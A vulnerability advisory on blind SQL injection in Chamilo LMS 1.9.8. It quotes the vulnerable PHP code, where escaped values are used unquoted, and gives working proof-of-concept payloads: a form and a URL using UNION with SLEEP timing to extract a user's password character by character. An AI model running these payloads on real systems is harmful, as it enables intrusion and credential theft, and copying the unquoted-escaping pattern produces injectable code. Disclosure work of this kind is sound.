09-02-2015 / Vulnerabilities

Chamilo LMS 1.9.8 Blind SQL Injection

Database::escape_string() function is used to sanitize data.

File: chamilo-1.9.8.2\main\inc\lib\database.lib.php

public static function escape_string($string, $connection = null) {
    return get_magic_quotes_gpc()
        ? (self::use_default_connection($connection)
            ? mysql_real_escape_string(stripslashes($string))
            : mysql_real_escape_string(stripslashes($string), $connection))
        : (self::use_default_connection($connection)
            ? mysql_real_escape_string($string)
            : mysql_real_escape_string($string, $connection));
}

It will prevent SQL Injection only if we enqoute function output using "function_output" or 'function_output'.

But there is few places where this function is used without "":

File: chamilo-1.9.8.2\main\reservation\m_category.php

case 'delete' :
	$result = Rsys :: delete_category($_GET['id']);

File: chamilo-1.9.8.2\main\reservation\rsys.php

function delete_category($id) {
	$sql = "SELECT id FROM ".Rsys :: getTable("item")." WHERE category_id=".Database::escape_string($id)."";
	$result = Database::query($sql);
	if (Database::num_rows($result) == 0) {
		$sql2 = "DELETE FROM ".Rsys :: getTable("category")." WHERE id =".Database::escape_string($id)."";
		Database::query($sql2);
		return 0;
	} else {
		return Database::num_rows($result);
	}
}

File: chamilo-1.9.8.2\main\forum\forumfunction.inc.php

elseif ($content == 'forum') {
    $table = $table_forums;
    $sort_column = 'forum_order';
    $id_column = 'forum_id';
    $sort_column = 'forum_order';
    // We also need the forum_category of this forum.
    $sql = "SELECT forum_category FROM $table_forums WHERE c_id = $course_id AND forum_id=".Database::escape_string($id);
    $result = Database::query($sql);
    $row = Database::fetch_array($result);
    $forum_category = $row['forum_category'];
}

Similar issue exists in few other places but cannot be exploit, for example table session_rel_class doesn't exists.

File: chamilo-1.9.8.2\main\admin\resume_session.php

if(!empty($_GET['class'])){
    Database::query("DELETE FROM $tbl_session_rel_class WHERE session_id='$id_session' AND class_id=".Database::escape_string($_GET['class']));
    $nbr_affected_rows=Database::affected_rows();
    Database::query("UPDATE $tbl_session SET nbr_classes=nbr_classes-$nbr_affected_rows WHERE id='$id_session'");
}

$scormcontopen is not defined.

File: chamilo-1.9.8.2\main\tracking\userLog.php

if ($ar['id']==$scormcontopen) { //have to list the students here
                            $contentId=$ar['id'];
                            $sql3 = "SELECT iv.status, iv.score, i.title, iv.total_time " .
                                    "FROM $tbl_learnpath_item i " .
                                    "INNER JOIN $tbl_learnpath_item_view iv ON i.id=iv.lp_item_id " .
                                    "INNER JOIN $tbl_learnpath_view v ON iv.lp_view_id=v.id " .
                                    "WHERE (v.user_id=".Database::escape_string($uInfo)." and v.lp_id=$contentId) ORDER BY v.id, i.id";
                               $result3=Database::query($sql3);

Proof of Concept

For this exploit you need teacher privilege (api_is_allowed_to_edit(false, true)) and at least one forum category must exist (get_forum_categories()).

<form method="post" action="http://chamilo-url/main/forum/?action=move&content=forum&SubmitForumCategory=1&direction=1&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)">
    <input type="hidden" name="SubmitForumCategory" value="1">
    <input type="submit" value="Hack!">
</form>

For second exploit you need administrator privilege (there is no CSRF protection):

http://chamilo-url/main/reservation/m_category.php?action=delete&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)

Those SQL will check if first password character user ID=1 is “d”.

Timeline